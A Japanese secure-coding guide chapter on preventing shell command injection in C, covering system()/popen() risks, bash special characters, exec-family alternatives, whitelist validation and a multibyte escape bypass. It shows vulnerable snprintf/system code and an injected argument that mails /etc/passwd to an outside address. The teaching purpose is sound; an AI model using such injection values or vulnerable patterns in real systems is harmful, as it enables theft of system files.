第10章 著名な脆弱性対策
コマンド注入攻撃対策
C言語にはその内部でシェルを呼び出してコマンドを実行できる system()、popen() 等のライブラリ関数が備わっているが、これらを使う場合、コマンド注入攻撃への対策が必要である。
シェル
シェルは、Unix, GNU/Linux で使われるコマンド解釈実行プログラムである。
シェルはユーザが指定したプログラムを単に起動するのみならず、ファイル入出力のリダイレクト、複数コマンドの組み合わせ実行、パイプ、変数、条件分岐、ループ等プログラミング機能をも含む強力なツールである。
Unix OSの歴史とともに、かつては様々な種類やバージョンのシェルが使われてきたが、最近は bash と呼ばれるシェルが使われることが多い。GNU/Linux においても同様である。
コマンド注入攻撃
コマンド注入攻撃は、プログラムが外部からの入力を組み入れてシェルコマンド文字列を組み立てて実行する場面を狙って悪意ある入力データを送り込み、攻撃者に都合の良いコマンドを実行させる攻撃である。最悪の場合、コンピュータが乗っ取られる。
例えば、次のようなコード、
snprintf(command, SIZE, "ls -l %s", argv[1]); system(command);
あるいは次のようなコード、
snprintf(command, SIZE, "grep %s database.txt", argv[1]); FILE *fp = popen(command, "r");
に対し、引数 argv[1] の値として、
no-such-file; sendmail bad@example.com </etc/passwd #
のような文字列が投入されれば、コンピュータのアカウントファイルが盗まれるおそれがある。

シェルの性質
シェルを使うことの問題は、その機能の高さである。プログラマがコマンド名と数個のパラメータからなる単純な処理のみ想定していても、外部から取り込んだパラメータに「;」や「`」等の特殊記号とともに攻撃を意図したコマンド文字列が紛れ込んでくれば、プログラマが予期しないコマンドの実行が起こる。
(1) 注意すべき特殊記号
シェルにおいて注意すべき特殊記号の数は多い。bash においては次の32の記号がいずれも何らかの意味をもつ(表1 参照)。
! " # $ % & ' ( ) *
+ , - . / : ; < = >
? @ [ \ ] ^ _ ` { |
} ˜
このうち、何らかの形で「複数のコマンドを組み合わせて実行する」機能をもつ次の6つの記号は特にに注意が必要である。
& ( ) ; ` |
| コード | 文字 | 代表的な用途 |
|---|---|---|
| 0x09 | (タブ) | ワードの区切り |
| 0x0A | (改行) | コマンドの区切り |
| 0x20 | (空白) | ワードの区切り |
| 0x21 | ! | ヒストリ呼び出し。例 !vi |
| 0x22 | " | スペースや特殊記号を含む文字列をひとつのワードとして扱う。変数展開あり。例 "to be $expanded" |
| 0x23 | # | コメント。この記号から行末まで |
| 0x24 | $ | 変数展開。例 $foo、${foo:-default}、$(command) |
| 0x25 | % | バックグラウンドジョブ番号。例 %3 |
| 0x26 | & | コマンドの並列実行。例 command & command コマンドのバックグラウンド実行。例 command & コマンドの条件付きAND実行。例 command && command |
| 0x27 | ' | スペースや特殊記号を含む文字列をひとつのワードとして扱う。変数展開なし。例 '$not to be expanded' |
| 0x28 | ( | コマンドリスト。例 (command ; command ; command) 算術式のリターンコード化。例 (( $a - 3 )) && command |
| 0x29 | ) | '(' を閉じる |
| 0x2A | * | ファイル名展開。定位置パラメータの展開($*)。四則演算子 |
| 0x2B | + | 四則演算子 |
| 0x2C | , | ブレース展開の区切り記号。'{'を参照 |
| 0x2D | - | 四則演算子 |
| 0x2E | . | (bashが意味を解釈するのではないが)カレントディレクトリ、親ディレクトリ。例 ../ |
| 0x2F | / | 四則演算子 |
| 0x3A | : | 変数展開 ${...} におけるオプションの区切り。例 ${name:-default} |
| 0x3B | ; | コマンドの順次実行。例 foo ; bar |
| 0x3C | < | 標準入力先のリダイレクト。例 tr a-z A-Z <file |
| 0x3D | = | 変数への値設定。例 LANG=C, PATH=/foo/bin:$PATH, TIMEFORMAT='system %S, user %U, erapse %R' |
| 0x3E | > | 標準出力先のリダイレクト。例 ls >file |
| 0x3F | ? | ファイル名展開。履歴展開。例 !?string |
| 0x40 | @ | 定位置パラメータの展開。例 $@ |
| 0x5B | [ | 条件式。例 if [ -n "$BASH_ENV" ]; then ...。 条件式のリターンコード化。例 [[ $a == A[0-9]*B ]] && command |
| 0x5C | \ | エスケープ記号。例 \a, \r, \n, \", \', \\, \177, \x7F |
| 0x5D | ] | '['を閉じる |
| 0x5E | ^ | ヒストリ呼び出しにおける置換。例 ^string1^string2^ |
| 0x5F | _ | 特殊変数。最後に扱ったコマンドライン上のワード。例 $_ |
| 0x60 | ` | コマンド実行標準出力結果の展開。例 grep -n Statement `find . -name '*.java'` |
| 0x7B | { | ファイル名のブレース展開。例 a{d,c,b}e は ade ace abe と展開される 変数展開。例 ${name:-default} |
| 0x7C | | | コマンドのパイプライン実行。例 command | command コマンドの条件付きOR実行。例 command || command |
| 0x7D | } | '{'を閉じる |
| 0x7E | ˜ | ホームディレクトリ展開。例 ˜, ˜user |
(2) コマンド置換演算子に注意
シェルのバッククォート「`」で囲まれた文字列によるコマンド置換には、注意が必要である。例えば、次のような行があると、最初に ls を実行しその標準出力を command の引数にして、command を起動する。
command `ls` または command $(ls)
カレントディレクトリに file1, file2, file3 があると、command への引数は、file1 file2 file3 に置き換えられる。
置換前:command `ls` または command $(ls)
↓
置換後:command file1 file2 file3
また、ダブルクォート「"」で囲んだ場合もコマンド置換は有効である。
置換前:command "`ls`"
↓
置換後:command file1 file2 file3
コマンド置換をしたくないのであれば、シングルクォート「'」で囲めば、シングルクォート「'」を除いた部分が引数に渡される。
置換前:command '`ls`'
↓
置換後:command `ls`
最後のケースでは、文字列 `ls` そのものが command に渡される。ls コマンドは実行されない。
コマンド注入攻撃対策
コマンド注入攻撃への対策は、可能ならシェルの使用を避けること、シェルを使用するのであれば、シェルコマンド文字列に組み入れる値に十分な検査を施すことである。
(1) シェル使用の回避
system() および popen() 関数はその内部でシェルを起動する。複雑なシェルコマンド文字列を処理させる必要がなく、単純にプログラムを起動することが目的である場合、これら2つの関数を使用しないのが無難である。外部からのシェルコマンドへの干渉の問題を避けることができる。
代わりに、exec系の関数を用いるのがよい。
exec系の関数は、新たなプログラムを起動するためのAPIであり、次のような複数の関数がある。
execl(path, arg..., 0)
execlp(file, arg..., 0)
execle(path, arg..., 0, envp)
execv(path, argv)
execvp(file, argv)
execve(path, argv, envp)
execvP(file, search_path, argv)
これらの関数は、"exec" の後ろにつく英字が次のような意味をもっている。
| l | 起動するプログラムに与える引数を execXX 関数の引数に直接並べる。引数の並びの最後は0(NULLでもよい)で示す |
| v | 起動するプログラムに与える引数をベクトル argv として与える。引数の並びの最後は argv[n] == 0(NULLでもよい)で示す |
| p | 起動するプログラムの識別情報をパス名ではなくファイル名 file で与え、PATH環境変数を用いて起動対象を探索させる |
| P | 起動するプログラムの識別情報をパス名ではなくファイル名 file で与え、起動対象の探索パスを文字列 search_path として与える |
| e | 環境変数を現在のプログラムから継承させず、環境変数プール envp を与える |
これらのうち使用を推奨するのは、
execle
execve
execvP
の3つである。なぜならば、環境変数 PATH が改ざんされていても影響を受けず、起動するプログラムに与える環境変数を制御できるからである。
(2) 文字種検査
害をなす特殊記号の侵入をより効果的に防ぐためには、コマンド文字列に埋め込む入力パラメータには英字と数字しか許さない等、用途に応じた文字種検査を行うのがよい。
1 #include <regex.h>
2
3 if (! match("^[A-Za-z0-9]+$", arg[1])) {
4 ...この入力は受け入れられない...
5 }
6 ...arg[1]の値を使う...
7
8
9 unsigned int match(char* pattern, char* text) {
10 regex_t regex;
11 int rc;
12
13 rc = regcomp(®ex, pattern, REG_EXTENDED | REG_NOSUB);
14 if (rc == 0)
15 rc = regexec(®ex, text, 0, 0, 0);
16 regfree(®ex);
17 return rc == 0;
18 }
(3) エスケープに頼るのは危険
シェルの特殊記号のうち " ' \ の3つは他の記号の意味を無くす「エスケープ機能」をもつが、これらを攻撃への対策として用いるのは得策ではない。
なぜならば、エスケープの裏をかく攻撃法が存在することが多いからである。
「'...'」というように囲まれているとおぼしき場所に対しては、攻撃者も「'」を入力することによりエスケープの効果から脱出することができる。また、意味をもつ記号それぞれの直前に「\」を挿入することよって特殊記号の意味をなくそうとしても、UTF-8やシフトJIS等、マルチバイト文字が使われている環境では攻撃者がそれらの「\」を中和できる場合がある。
アプリケーションプログラムが入力データ中のマルチバイト文字のビットパターン違反に厳格に対処していないと、攻撃者はマルチバイト文字の1バイト目のパターンを特殊記号の直前に配置することにより、エスケープの目的で挿入される \ の効果を奪うことができる。例えば、次のようなバイト列はエスケープ後も問題を起こし得る。
| 段階 | バイト列 | 備考 |
|---|---|---|
| エスケープ前 | [0x95][ ' ] | 2バイト、SJISとしては不正 |
| エスケープ後 | [0x95][ \ ][ ' ] | 3バイト、SJISの「表'」に該当 |
まとめ
プログラムの中から別のプログラムを起動する際、可能ならシェルを呼び出す API である system() 関数および popen() 関数の使用を避ける。そのかわり execve() 等、exec 系のAPIを使用する。
やむを得ずシェルを使用する場合、組み立てるシェルコマンド文字列に組み入れる入力パラメータ値を厳重に検査する。シェルにおいてはすべての特殊記号が何らかの機能をもつからである。